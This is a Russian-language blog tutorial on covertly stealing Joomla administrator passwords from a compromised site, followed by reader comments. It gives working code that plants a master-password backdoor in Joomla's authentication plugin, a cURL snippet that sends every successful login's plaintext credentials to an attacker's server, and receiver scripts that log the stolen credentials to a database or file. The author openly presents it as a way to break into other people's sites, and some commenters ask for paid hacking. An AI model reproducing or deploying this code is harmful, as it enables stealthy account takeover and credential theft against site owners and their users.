Joomla! Cross Scripting is magic

Взломать пароль Joomla

Доброго времени суток, дорогие читатели! В сегодняшнем уроке я расскажу как взломать пароль Joomla (любой версии) имея доступ к файловой системе.

Для того, чтобы взломать пароль Joomla нам понадобиться:

  1. Прямые руки (две штуки)
  2. Доступ к файловой системе «жертвы»
    • Подойдет шелл…
    • …или cross scripting…
    • …или даже доступ к любому плагину для работы с файлами в Joomla! «жертвы»
  3. Любой хостинг с php (обязательно) и mysql (опционально) доступный из внешки

Первым делом нужно проверить какая версия Joomla стоит у «жертвы». Для этого открываем папку ~/plugins/authentication/joomla/, если папка существует, значит у нас версия 2.5 или 3, но если папки нет, то версия 1.5. Для тех, кто не понял: тильда ~ означает корень папки Joomla.

Теперь из нашей текущей точки входа в систему нужно выполнить одно действие (если у вас есть доступ к файл менеджеру, этого делать не нужно):

Установим замечательный файл менеджер, который подойдет для этой задачи (взлома пароля Joomla) на все 100%. Скачаем PHP File Manager (просто и понятно :)). Он довольно простой и главное легкий (один файл весом в 230кб).

Теперь все зависит от вашего метода «проникновения» в систему. Надеюсь сами справитесь 🙂

Итак, у нас есть файл менеджер. Теперь придется разделиться. У кого версия 2.5 или 3 читает дальше. У кого 1.5 листает ниже.

Взломать пароль Joomla 2.5 и 3

Итак, у Вас версия 2.5 или 3, есть доступ к файл менеджеру и прямые руки. Продолжим насилие:

Откроем файл ~/plugins/authentication/joomla/joomla.php и перейдем на строку 59.

Взломать пароль Joomla - Joomla.php

Если вам просто нужно войти через чей то аккаунт, то заменяем строку 59 полностью:

if ($crypt == $testcrypt || $credentials['password'] == 'auth-me-please') {

Теперь вместо пароля, Вам нужно просто «вежливо» попросить Joomla, и она сделает всю работу за Вас!

Взломать пароль Joomla - auth-me-please

А теперь рассмотрим другой вариант. Таким образом мы сможем получить расшифрованный пароль администратора (и не только).

В том же файле до линии 69 вставляем:

if( $curl = curl_init() ) {
curl_setopt($curl, CURLOPT_URL, 'http://_ПУТЬ К_/receiver.php');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, "login=".implode("&pass=", $credentials)."&domain=_ПОМЕТКА_");
$out = curl_exec($curl);
curl_close($curl);
}

Меняем _ПУТЬ К_ на адрес вашей папки с файлом receiver.php (о нем расскажу чуть позже) и делаем пометку для домена вместо _ПОМЕТКА_.

Что делает скрипт? При удачном входе в систему отправляет на наш сервер логин и пароль «жертвы».

Теперь можно сделать такой скрипт и для старой версии…

Взломать пароль Joomla 1.5

Откроем файл ~/plugins/authentication/joomla.php и перейдем на строку 55.

Взломать пароль Joomla - Joomla.php 1.5

Файл внешне похож на новую версию, а вот действия вовсе не отличаются.

Меняем 88 строку:

if ($crypt == $testcrypt || $credentials['password'] == 'auth-me-please') {

И вставляем перед 98:

if( $curl = curl_init() ) {
curl_setopt($curl, CURLOPT_URL, 'http://_ПУТЬ К_/receiver.php');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, "login=".implode("&pass=", $credentials)."&domain=_ПОМЕТКА_");
$out = curl_exec($curl);
curl_close($curl);
}

Взломать пароль Joomla 1.5 - auth-me-please

Готово!

Серверная часть

Теперь дело осталось за малым, написать приемник наших логинов и паролей. На хостинге создадим файл receiver.php. Если есть MySQL, то вставляем (не забудьте изменить логин, пароль и базу):

<?php
if ($_POST["login"] && $_POST["pass"]) {
$db = @mysql_connect("localhost","_ЛОГИН БД_","_ПАРОЛЬ БД_");
@mysql_select_db("_НАЗВАНИЕ БД_",$db);
$sql = 'INSERT INTO credentials(username, password, domain)
VALUES("'.$_POST["login"].'","'.$_POST["pass"].'","'.$_POST["domain"].'")';
@mysql_query($sql);
}
else {
header("Location: http://_ПУТЬ К_/reсeiver.php");
}

Вангую: спросите зачем header(); с тем же именем файла? Отвечу: вместо английской c русская с. Защита от админо-идиотов.

Серверная часть без MySQL

Если у кого то нет MySQL, то этот раздел специально для таких людей.

Создаем файл receiver.php и вставляем в него код:

<?php
$filename = "joomla.txt";
if (is_writable($filename) && $_POST["login"] && $_POST["pass"]) {
if (!$handle = fopen($filename, "a")) {
header("Location: http://_ПУТЬ К_/reсeiver.php");
exit();
}
if (fwrite($handle, $_POST["login"].":".$_POST["pass"].":".$_POST["domain"]."\n") === FALSE) {
header("Location: http://_ПУТЬ К_/reсeiver.php");
exit();
}
fclose($handle);
exit();
} else {
header("Location: http://_ПУТЬ К_/reсeiver.php");
exit();
}

Готово! Теперь можно хвастаться всем подряд, и ломать чужие сайты 🙂

Версия для тех, кто не любит быдлокод или слишком ленив:

Взломать пароль Joomla - исходник урока
69.0 KiB
228 Downloads
Детали

Спасибо за внимание, с Вами был Yurijmi, надеюсь вам понравилось. Пишите в комментарии, какие уроки вы хотите увидеть в моем исполнении.

Взломать пароль Joomla: 16 комментариев

  1. Здравствуйте админ а вы можете мне взломать сайт на Joomla если я вам предоставлю логин и пароль от хостинга мне пришёл заказ я бы вам через web maney оплатил если чё со мной можете связатся по агенту best85@mail.ru

  2. Вы вот серьёзно всё это??? Если есть доступ к хостингу, где лежит сайт — смотрим доступы к базе и меняем любые пароли! Есть хостинг — есть всё

    1. Можно и так, но где в моей статье указано про необходимость доступа на хостинг?
      Вашим способом можно только получить доступ и засветиться, в статье же описан способ «тихого» получения пароля админа.

  3. Yurijmi, нужна помощь. Срочно внести правки на сайт (немного). Пароль от хостинга и админки утерян. Осязаемая благодарность пригалается.

  4. Статья не в кассу!
    Если есть доступ на FTP, то ты уже хозяин сайта!нечего париться!
    Открываем файл с конфигурацией и меняем все логины и пароли!
    Конец.

    1. меняем все логины и пароли

      А в статье написано как их узнать. Все пароли хранятся в зашифрованном виде, расшифровать почти невозможно (если у тебя не суперкомпьютер, конечно же)

  5. По моему толк от статьи — нулевой, только время зря тратится.
    Если есть доступ на ftp, то все остальное не имеет смысла. Больше на пиар смахивает, для не сведущих в этом, судя по комментам, прокатывает.

    1. Согласен абсолютно. Если есть доступ к сайту по ftp — не надо колесо изобретать 😉

    2. В статье рассказывается как узнать пароль в админку и попасть в нее без изменения текущего пароля. Так что толк есть

  6. ~/README.txt и будет вам шастье (Для этого открываем папку ~/plugins/authentication/joomla/, если папка существует, значит у нас версия 2.5 или 3, но если папки нет, то версия 1.5.)

  7. Статья классная. Спасибо. Зря в общем доступе.

    Скажите, а как узнать пароль зная только имя сайта…

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *